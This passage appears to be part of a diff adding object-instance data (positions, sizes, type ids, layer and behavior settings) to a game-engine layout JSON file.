+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3968.565185546875,
+ 856.6939086914062,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3990,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3686.6142578125,
+ 949.35107421875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 3991,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3210.817626953125,
+ 947.1450805664062,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3992,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2899,
+ 1053,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3993,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2985.6103515625,
+ 875.15576171875,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3994,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2818.55126953125,
+ 860.3873901367188,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3995,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2496,
+ 690,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 3996,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2325,
+ 692,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3997,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1353,
+ 839,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3998,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1466,
+ 749,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3999,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 889,
+ 933,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4003,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 643,
+ 936,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4004,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 504,
+ 925,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4005,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 797,
+ 936,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4006,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1075,
+ 929,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4007,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3365,
+ 1179,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4008,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3557,
+ 1282,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4009,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1856,
+ 740,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4010,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1226,
+ 1114,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4011,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3050.1943359375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4012,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3079.0146484375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4013,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3109.071533203125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4014,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3137.891845703125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4015,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3166.328125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4016,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3195.1484375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4017,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3225.205322265625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4018,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3254.025634765625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4019,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3282.080078125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4020,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3310.900390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4021,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3340.957275390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4022,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3369.777587890625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4023,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3398.2138671875,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4024,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3427.0341796875,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4025,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3457.091064453125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4026,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3485.911376953125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4027,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3514.720947265625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4028,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3543.541259765625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4029,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3573.59814453125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4030,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3602.41845703125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4031,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3630.854736328125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4032,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3659.675048828125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4033,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3687.84130859375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4034,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3716.277587890625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4035,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745.097900390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4036,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589.189208984375,
+ 737.8923950195312,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4037,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2704.106689453125,
+ 826.8309936523438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4038,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2097.5556640625,
+ 569.8641967773438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4039,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1684,
+ 1604,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 4041,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -635,
+ 1711,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4042,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1943,
+ 1811,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 4043,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 150,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5334.18359375,
+ 574.0819091796875,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 4044,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5334.184,600",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5336.18359375,
+ 590.0819091796875,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 4045,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5337.18359375,
+ 244.0818786621094,
+ 0,
+ 13,
+ 804,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 4046,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5771,
+ 867,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4047,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6271,
+ 867,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4048,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -911,
+ 1305,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4049,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -638,
+ 1437,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4050,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5813,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 4051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5972,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 4052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6126,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 4053,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 787,
+ 1507,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4054,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -505,
+ 968,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 4055,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 4056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 4057,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 4058,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 4059,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 4060,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4061,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 4062,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 174,
+ 734,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 4063,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 171,
+ 734,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 4064,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 173,
+ 709,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 4065,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172.7669372558594,
+ 703.6318359375,
+ 0,
+ 59.89034271240234,
+ 54.22812271118164,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 4066,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 4067,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
